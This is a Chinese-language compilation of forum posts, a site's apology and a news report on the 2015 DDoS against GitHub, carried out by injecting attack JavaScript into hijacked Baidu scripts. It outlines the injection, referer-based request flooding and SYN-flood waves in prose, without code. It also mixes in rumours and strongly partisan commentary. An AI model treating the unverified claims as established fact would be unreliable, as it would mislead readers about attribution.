  以下是 GreatFire 目前提供镜像的网站列表:
Google 搜索
纽约时报
BBC
德国之声
自由微博
中国数字时代
博讯网
泡泡网
编程随想
人民监督网
以下是 GreatFire 发出的呼吁:
GreatFire.org:
既然GFW想让全球的中文用户DDOS我们的网页 https://github.com/greatfire/wiki 大家把这个转给朋友访问吧。

★GFW 的攻击是否得手?

到目前为止,GitHub 并没有删除 GreatFire 帐号的内容。所以,朝廷的企图,暂时还没有得逞。
  在接下来的几天,咱们还要继续关注,看看 GitHub 的骨气,到底有多硬?

  虽然 GitHub 暂时还没有向朝廷妥协,但是 DDOS 攻击,已经给 GitHub 造成了一些影响。最近几天,你如果访问 GreatFire 在 GitHub 的主页(https://github.com/greatfire),会看到如下报错信息:
不见图 请翻墙
Something went wrong and we cannot service your request.

Sorry about that. Please try refreshing and contact us if the problem persists.

  另外还有墙内读者给出了 GitHub 访问速度受到的影响。
比特客栈的寻行数墨:
再次强调,Github没有因为DDoS封中国的IP。
但由于攻击,整个线路的访 问速度受到很大影响,某程度上GFW做到了它们想做的事情。
而且这次,没有李开复来救火。
不见图 请翻墙

  如果拿 GitHub 跟全球顶级的 IT 公司作一下对比,会发现它在对抗 DDOS 方面,还是有欠缺。以下是某知名博主的评论,谈及"朝廷御用骇客"攻击 Google 和 Facebook 遭遇的尴尬挫败。
Eric Xu, PhD (徐宥):
硅谷小道消息。某国政府不是没 DDoS 过G和F。
这两家公 司的 CDN, EdgePOP 和负载均衡做得很好,以至于某国政府无法伤害。
话说某国政府上次搞的时候,搞完好久G才发现,因为流量还没凯特王妃结婚直播时候高。
这种没回应的攻击好伤人家感情的,从此没脸再搞这些大鳄。

Eric Xu, PhD (徐宥):
依然小道消息。搞 F 的时候也是不疼不痒,负载均衡系统直接吸收了流量。
相比之下有次 Facebook 客户端程序员出了个大Bug, 自家客户端不断访问某资源以至于自己 DDoS 自己。
除此外其他攻击都没达到类似量级,也就无所谓了。

  曾经有好几个读者问俺:为啥要选择 Google 的 Blogger/blogspot 作为博客平台?为啥不用 WordPress 或者干脆自己在 VPS 上搭建博客。
  通过这次事件,你或许就能体会到——俺选择 Blogger 搭建博客的优势(基本不用担心朝廷的 DDOS 攻击)。像俺这种长期� ��黑朝廷的反党分子,对 DDOS 攻击还是需要防范于未然。

★对"攻击事件"的网民评论

推倒柏林墙:
自从GitHub反击之后我上国内网站就老是跳出恶意脚本警告,忍无可忍只好把百度的JS给屏蔽了(我之前从来不用广告屏蔽软件)。
上GitHub看了一眼貌似人家屁事都没有,根本没给GFW击沉,百度就这么白白做了炮灰,真是凄凉。

Shippo7:
百度网盘的页面有脚本正在ddos github,录了一段视频
https://www.youtube.com/watch?v=l6eAtcwT5Pc

比特客栈的寻行数墨:
如果你没能测出这次基于百度CDN劫持的Github DDoS,别担心,这有个视频演示。
https://www.youtube.com/watch?v=l6eAtcwT5Pc

比特客栈的寻行数墨:
值得一提,这个视频也演示了Github对策攻击的高明之处——
在你点击确认alert或无视alert之前,浏览器的js会block,不再执� �,也就有效降低了自动发请求的次数。

Tianran Ding:
访问新浪网的某些JS也被劫持夹带代码去攻击 Github
http://news.sina.com.cn/w/2015-03-29/133631657611.shtml … @GreatFireChina

余晟:
GFW本着"利用和破坏正常信任关系"的精神,突破了恶心下作的底线
wzyboy:
GFW 利用百度 CDN 来 DDoS GitHub,这「创意」 -_-

★对"攻击手段"的技术分析

陈少举:
@cxqn @yegle @Arctosia @wenyunchao
http://twitter.com/mac_zhou/status/581321375773667328
从TTL的变动来看,极高的可能性是GFW引起的。相同IP的通信不可能发生剧烈的TTL变化。

Mac_Zhou:
@chenshaoju @cxqn @yegle @Arctosia @wenyunchao 不排除百度的可能性。
TTL只相差了3,这说明百度服务器和这台中间设备可能靠得很近。
当然更有可能不是伪造报文,而是直接在线路中插入的。

Mac_Zhou:
对@yegle 发现的百度JS被植入greatfire的现象进行了抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是 47,可以确定的是有中间设备对VPS发了伪造报文。

不见图 请翻墙

Danny Chen:
@yegle @Arctosia @chenshaoju @wenyunchao 可以直接说是操纵众多浏览器向github发起请求,因而造成DDoS。还不能确认是Gfw所为,要仔细实验排除百度公司所为的可能。

北风(温云超, Yunchao Wen):
@mac_zhou @chenshaoju @cxqn @yegle @Arctosia 百度自己出面干这种事的可能性不大。

陈少举:
@wenyunchao @mac_zhou @cxqn @yegle @Arctosia 劫持和被劫持的时候,HTTP返回的头部信息里的Server字段是完全不一样的。被劫持的时候是Apache,正常的时候是JSP3/2.0.6。
不见图 请翻墙

九条凛:
牆外訪問百度時確實可以在m.js中發現github,greatfire和cn-nytimes等字樣,有理由相信中國本次針對github的國家級攻擊是真實可信的。

28小盆友:
这次的事情其实也不复杂……就是 GFW 利用很多网站都有百毒的广告联盟代码之类,发假包,给他们的 JS 插了个攻击代码,用户读取之后就去攻击 GitHub 了。
因为国内用户访问百毒不用过墙,所有只有国外的访问才会有效。


C.A. Yeung:
为何要劫持百度来攻击GITHUB:
1. 这方式的优点是可以无需劫持大量电脑,也可以让网站访客在不自觉的情况下成了攻击行动的帮凶
2. 让人产生攻击是来自中国境外的错觉
3. 希望透过服务供应商向外国媒体施压,删除中共官方不喜欢的内容。
https://thenanfang.com/why-baidu-was-hijacked-to-attack-github/

一阁:
看起来似乎是这样的:
国内好多网站上嵌入的某个js会自动载入 http://github.com/greatfire/ 和 http://githu.com/cn-nytimes/ ,达到DDoS效果。
GitHub看到大量流量和referer信息后决定这两个URL返回javascript

★关于"GFW"的相关评论

Jian Alan Huang:
GFW之所以越来越忙,因为
最开始只需要封锁敌对势力网站,
接着发现还要封锁提供翻墙软件登录敌对网站的网站,
后来连曝光封锁敌对势力网站和曝光封锁提供翻墙软件网站的网站都需要封锁,
随后连提供资源、提供平台的网站都被当作潜在的敌对势力需要封锁……
反正最后肯定是:只要不舔菊的都需要封锁。

青萝卜:
自由在哪,GFW 就去哪,Google 到哪,GFW 也到哪。
GitHub 有无数个知名或不知名的翻墙工具,还有很多研究 GFW 的项目,加上近期 Google code 项目开始迁移到 GitHub,对于作恶多端的GFW来说,GitHub就是眼中钉,肉中刺,不灭不消气。

clowwindy:
今天是个值得纪念的日子,墙的角色已经不再只是一个保护主义的工具。
墨守于长城内几千年的伟大民族终于穿过长城走向世界,开始挑战西方价值和规则。
不管你是翻墙也好,肉翻也好,你都躲不开这个民族不断扩张的世界影响力。
中国第一份电子邮件里的那句话一语成谶。

人生露点服务中心:
咦,这么来看,GFW已经成了码农界的ISIS了

GFW说:我们有能力让全世界范围内,访问了中国大陆网站的人(主要是海外华人),在不知情的情况下对全世界内任何网站发动DDOS攻击。
GFW说:我们有顶级CA可以签任意证书哦~~

北风(温云超, Yunchao Wen):
GFW劫持百度来攻击GITHUB,不过是提醒大家,访问中国网站,就有可能成为网络攻击的帮凶。
想不做帮凶,最好不要碰中国网站。
利用JS在客户端执行的特性,让攻击显示来自四面八方,这种攻击真的很聪明,可惜当局的聪明都用在了这种无耻的地方。)

28小盆友:
听说 GFW 对 GitHub 发动了 DDoS 核打击……
那也是,自从上次想封掉谁知引发激烈反弹后被迫解封,就一直耿耿于怀了吧?

比特客栈的寻行数墨:
利用平民上网的正常流量进行DDoS已经成为中国全新的政治武器。
新的被害者是:GitHub。
换而言之,我们已经从Defensive变为Offensive了。

clowwindy:
今天是个值得纪念的日子,墙的角色已经不再只是一个保护主义的工具。
墨守于长城内几千年的伟大民族终于穿过长城走向世界,开始挑战西方价值和规则。
不管你是翻墙也好,肉翻也好,你都躲不开这个民族不断扩张的� �界影响力。
中国第一份电子邮件里的那句话一语成谶。

东先生:
GFW调用民间流量攻击境外网站,这是挟持中国网民对抗整个文明世界,是一种流氓行径。
不是百度流氓,也不是GFW流氓,而是这个国家真的很流氓。 #你国

lovegoodbest:
以前
"Across the Great Wall, we can reach every corner in the world"
现在
"Reinforcing the Great Wall, we can attack every corner in the world"

Velaciela:
较量无声:全球最大成人搜索网站正在攻击全球最大同性交友网站

zmt:
说句公道话,GFW的领导真的没兴趣ddos一个同性交友网站。
我觉得应该是GFW里的码农和github上的码农因基生恨,将怒火发泄在github上了。。。
归根到底,还是码农内部矛盾

clowwindy:
GitHub 其实可以在这个弹框里写点吓人的话,对国内网站的声誉造成足够恶劣的影 响和不可挽回的损失。

nekoworkshop:
要我说github应该把那个alert换成:
"天灭共产党 退党保平安 1·发表三退声明的其他途径:(1)电子邮件: tuidang@epochtimes.com(2)美国热线电话:001-7…………"

然后看好戏

lovegoodbest:
话说如果现在 #Github 把那个alert信息改为google ads,那么它不就是可以坐着收钱了么....

东哥:
github要不是alert,直接再重定向到我朝的任意一个gov站点,那会是什么效果?

东哥:
这次对github的攻击刷新了肉鸡的概念,从此没人敢NB哄哄的说自己的电脑不可能成为肉鸡了。

流觴:
看GFW这种二逼机制,以及国企式的维护水平,如果哪一天被牛逼黑客利用,搞出个全球网络大灾难来,千万不要奇怪。
GFW这次搞GitHub等于在全球程序员中给自己打了个广告,感觉丫正在慢慢走向那一步。

Ukyoi (右京样一):
GFW这次做得好下流……
千万别说是井外敌对势力故意栽赃陷害。

不见图 请翻墙

Arctosia:
如果程序员不管在哪里工作都是所谓讨碗饭吃求生计,"只是执行命令而已"。
那这么有创意的手法,也一定是五六十岁的领导们想出来的了,绝对和程序员们没关系。

老杨:
全世界程序员的切磋之地被我天朝端了,这算扬我国威壮我国魂么?
换一句话说,全世界程序员都没想出来怎么把墙搞死?

Shell.E.Xu:
GFW的新思路看来是利用全中国人的流量在国外揍人。这样就算GFW不封你们,也没有啥外国网站敢放行中国IP了。。。

★关于"GitHub"的相关评论

Shippo7:
这次gfw攻击github,最逗之处在于选择了一个程序员网站。
这相当于一个平时劫财劫色的猖狂流氓去武术学校里找教练打架,把全校师生都被吸引过来了。
就看github见招拆招从来没完全中断过服务,gfw有匕首没人能一下制服他,但是衣服已经被众人扒光了...
就看他是继续表演下去还是默默离开

青萝卜:
这几天 GitHub在其官网上不断公告受到超大流量的持续性 DDoS 攻击,但
GitHub在数天内一直保持正常。
通过安全研究员宫一鸣提供的信息,这背后是一家名为 Prolexic 的公司帮助 GitHub 抵御DDoS攻击。
http://36kr.com/p/531307.html

-------------------------------------------------

第一封致用户的道歉信–不做攻击GitHub的“帮凶”, 不再使用百度的任何服务

HeckPsi 对所有访问我们网站的用户道歉。
在今天上午 HeckPsi 作为“帮凶”对 GitHub 的两个项目 greatfire 和 cn-nytimes 进行了 DDoS 攻击。
对此,我们深表遗憾并且必须致以我们最为诚挚的道歉。
造成这样的问题,是由于我们网页内嵌了 百度统计 的代码以统计我们的页面访问量。而今天,百度统计的代码被恶意内嵌了进行 DDoS 攻击的代码。目前暂时不知道这些代码是由百度嵌入的还是由政府要求嵌入的亦或者是黑客攻击百度嵌入的。但其实际造成了严重的影响,造成了严重的后果。
HeckPsi 一向支持开源软件事业,开源软件对我们很重要。我们的服务中所使用的部分软件也是根据开放源代码许可提供的。HeckPsi 绝对不会有意去攻击 GitHub 这样的网站。但是事实上,我们无意中参与了这样的攻击,我们也必须要为如此愚蠢的行为负责。
由于之前百度的种种恶迹,我们在选用第三方服务时已经尽量避开了百度的服务。在过去的几个月内,我们也逐渐将存放于百度云存储的、百度静态库CDN的一些服务出于安全原因进行了几次迁移,但忘记了网页统计使用的依然是百度的服务,没有进行及时的变更,才造成了今天的问题。
目前,HeckPsi 已经停用了全部百度统计的代码,并强制更新了所有页面缓存。临时使用了 Google Analytics 对我们的网站进行统计。同时,我们会在接下来几周内深度检查网页中的各种代码,以避免使用百度的全部服务。同时,我们将在未来使用第三方服务的时候,严格 考察第三方服务的可靠性。
对此,给各位造成的影响,表示最大程度的道歉。

FROM  http://heckpsi.com/archives/994
-------------------
 对GitHub的大规模DDoS攻击已超过80个小时,攻击者此举显然是为了迫使GitHub移除反审查项目Greatfire。DDoS攻击产生的史翠 珊效应(Streisand effect)反而让更多人知道了Greatfire。攻击者先后使用了四种DDoS技术攻击GitHub(未完全确认):第一波是创造性的劫持百度JS 文件利用中国海外用户的浏览器每2秒向托管在GitHub上的两个反审查项目发出请求,这一手段被GitHub用弹出JS警告alert()防住;第二轮 是跨域<img> 攻击,被GitHub检查Referer挡住;第三波是DDoS攻击GitHub Pages;第四波是正在进行中的TCP SYN洪水攻击,利用TCP协议缺陷发送大量伪造的TCP连接请求,让GitHub耗尽资源。对于Greatfire所实现的collateral freedom(PDF),也有许多人对此表达了不满,Greatfire的做法让一些CDN服务商遭到了封杀,而GitHub是最新的受害者。
-------------------------------------------------------

中国翻墙者被劫持为ddos攻击的一分子 Github遭史上最大攻击


IT技术人员的圣地Github正在受到该论坛史上最大的网络攻击,Github日前在其博客上公开说。各方分析显示,此次攻击来自中国,且攻击技 术高超:基本上,中国的翻墙者正在无意识中被劫持加入网络攻击,成为肉鸡。Github在博客中表示,此次攻击是“为了迫使其删除一些内容”。据分析认 为,此次攻击具体是针对网络自由组织GreatFire等在Github上提供的免翻墙信息服务,但影响到了整个Github。
更新(3月30日北京时间20:00):
3月30日,在中国外交部的例行记者会上,当记者问到最近的网络攻击是否来自中国时,交部发言人华春莹并未“否认”,也为对此作出正面回答,强调“中国是黑客攻击最主要的受害者之一”:
近期似乎只要是美国或者其他哪个国家有网站受到攻击,就会有人联想是不是中方黑客所为,这很奇怪。我想提醒你,中国是网络黑客攻击的最主要的受害者 之一。我们一直强调,中方希望同国际社会一道,加快制订国际规范,共同维护好网络空间的和平、安全、开放与合作。希望各方都能以积极、建设性态度合作应对 网络黑客攻击问题。
翻墙上百度,网民变黑客
据推特消息,北京时间3月27日12时左右开始,从境外访问v.baidu.com的时候被发现会出现Javascript alert出现的弹窗:WARNING: malicious javascript detected on this domain 。追查发现是百度广告管家的js http://cbjs.baidu.com/js/m.js?_=1427431567741在境外访问时被替换成一段特殊的js(详细请求和返回的 js)。
分析认为,大致的流程就是:1.GFW把某些常见网站的JS替换成以上js。2.全球各地访问国内网站时,相当于成为DDoS的源(可能还有全国各 地访问国外时,未经确认)3. GitHub不堪重负,把 https://github.com/greatfire/ 和https://github.com/cn-nytimes/ 的返回改成一个alert: WARNING: malicious javascript detected on this domain (网站存在恶意JS代码调用)。当境外用户访问内置境内一些网站如百度的JS调用的网站时,中国的国家防火墙GFW将这部分调用替换成重定向至目标网站, 以调用民用流量的方式,实现对目标网站的DDOS攻击。GreatFire在3月中曾遭到来自中国的DDoS攻击。针对此次攻击,Greatfire正在 进行调查。
技术人士@yegle认为,用js来实现攻击远胜过早年利用DNS污染的DDOS攻击,只损失了百度的revenue,但能实现单页面反复攻击多个 目标。为什么要劫持百度来攻击GITHUB呢? Larry Salibra认为:1.这方式的优点是可以无需劫持大量电脑,也可以让网站访客在不自觉的情况下成了攻击行动的帮凶; 2.让人产生攻击是来自中国境外的错觉 3.希望透过服务供应商向外国媒体施压,删除中共官方不喜欢的内容。
tu_3_0
其实不一定需要访问百度,中国国内一些论坛等网站都被植入了百度联盟广告,GFW给他们的 JS 插入了攻击代码,用户读取之后就去攻击 GitHub 了。国内用户访问百度不经过GFW,只有翻墙者会被变成攻击者。另有推特网友分析指,“一个真正的海外用户,首选搜索引擎应该是谷歌而不是百度。那么,来 自海外IP对百度的访问,多数应该是通过代理翻墙的境内用户。这样GFW就可以收集很多用户的代理IP,并且通过搜索行为等判断是否翻墙。估计又会有很多 VPN和翻墙软件会失效”。
翻墙者@bitinn表示:利用平民上网的正常流量进行DDoS已经成为中国全新的政治武器。新的被害者是:GitHub。换而言之,我们已经从 Defensive(防卫)变为Offensive(攻击)了。百度攻防安全实验室官方微博28日上午否认此次攻击与自身安全性有关,称:“百度安全工程 师经过仔细排查,已经排除自身产品的安全问题和黑客攻击的可能。我们也已经向其他网络安全机构通报情况,共同对相关问题进行进一步诊断”。如若属实,当可 确认攻击来自GFW。
有分析认为,无论攻击脸书还是GitHub,终极目标都是逼迫对方自我审查。脸书在去年六月二十日遭受GFW发起的核弹流量攻击之后,扎克伯格桌上 惊现“习近平著作”。迫使GitHub“下架”翻墙软件,是昨天攻击行为的最合理解释。与此同时,知乎上相关问题讨论的帖子已全部被删除。
有网友支招应对方法,屏蔽所有百度的JS代码:在Chrome的设置->显示高级设置->隐私设置->内容设置 ->JavaScript->管理例外情况中,输入百度的网址(需要通配符,如图),再将行为设置为禁用即 可:Chrome://settings/contentExceptions#javascript。
另有技术高手提供了技术支持:多种系统的一键吊销中国证书工具。
全球网络攻击地图显示,目前的主要攻击均是从中国大陆发起,到美国(和加拿大)的TCP(SYN)连接。
到截稿为止,对Github的攻击仍在持续中。3月30日,Github在推特上表示,攻击的方法已经转变,该网站在全力对抗。
中国互联网络信息中心发布中间人攻击证书
就在此前,3月25号,“中国的网络审查网站”(greatfire.org)发布声明称,从他们掌握的具体证据看,中国互联网络信息中心 (CNNIC)和网信办(CAC)参与了攻击全球电子信息巨头如谷歌、微软以及火狐的行动,该证书冒充成受信任的谷歌的域名,被用于部署到网络防火墙中, 用于劫持所有处于该防火墙后的HTTPS网络通信,而绕过浏览器警告。greatfire提醒有关互联网企业加强互联网防范措施,并再次呼吁谷歌、 Mozilla、微软和苹果立即取消对CNNIC的信任,以保护全球网民的用户信息。
谷歌和Mozilla(火狐)分别公开了这一安全事件,就此分别发表了博客文章(Google, Mozilla)。但谷歌与Mozilla有关CNNIC发布中间人攻击证书文章的中文翻译,则在中国被勒令删除了。
23日,谷歌公司一名网络安全专家在其公司的博客专栏发表博文写道,中国互联网络信息中心以及一家被称为MCS的控股公司,为一些谷歌网址分发了没 有得到授权的电子认证,”而这些被滥用的电子认证则被几乎所有的浏览器以及操作系统接受”。这名谷歌的网络安全专家将这一结果描述为互联网认证管理系统里 的”软肋”。次日,微软以及火狐等公司均发表了声明,称他们将取消所有MCS发放的认证。
具有攻击性的墙
推特网友@hnjhj表示,小组长(习近平)上台以后尽管网络管制思路跟之前一致,但路子毕竟野了很多。从3月中旬以来,CNNIC颁发官方假证书 进行中间人攻击、GFW劫持全球网络流量发动DDoS攻击、强调网络主权等等的事,如果从积极方面看的话,那就是在当局看来,单纯的砌墙防御已经不够用 了,翻墙途经越来越多,不主动出击就是等死。
有不少人曾传,中国的防火墙将会在今年4月完成升级。虽然目前该消息并未得到证实,细节也尚未浮出水面,但3月以来这些变化显示,墙不再是单纯的保 守封锁,已沦为攻击武器,还要利用翻墙者的积极性调用民间流量,让抗争者在不知不觉中充当枪手。但翻墙者不是纯粹的无畏派,并非只有搭梯子一种技能,拒绝 做肉鸡以及如何对越来越流氓的GFW发起反击是急需考虑的内容,虽然目前只能见招拆招。
时评人Larry指出:GFW从被动封锁转向主动攻击,是中共当局封锁网络“有害信息”、确保政治安全的需要的扩大化,与中国网络用户越来越强烈的 “自由、开放、安全”的网络需求之间不可调和的矛盾冲突的表现。极权势力投入在网络控制的资源不断扩张,对应的就是反对网络控制、追求言论通信自由的呼声 越来越强烈。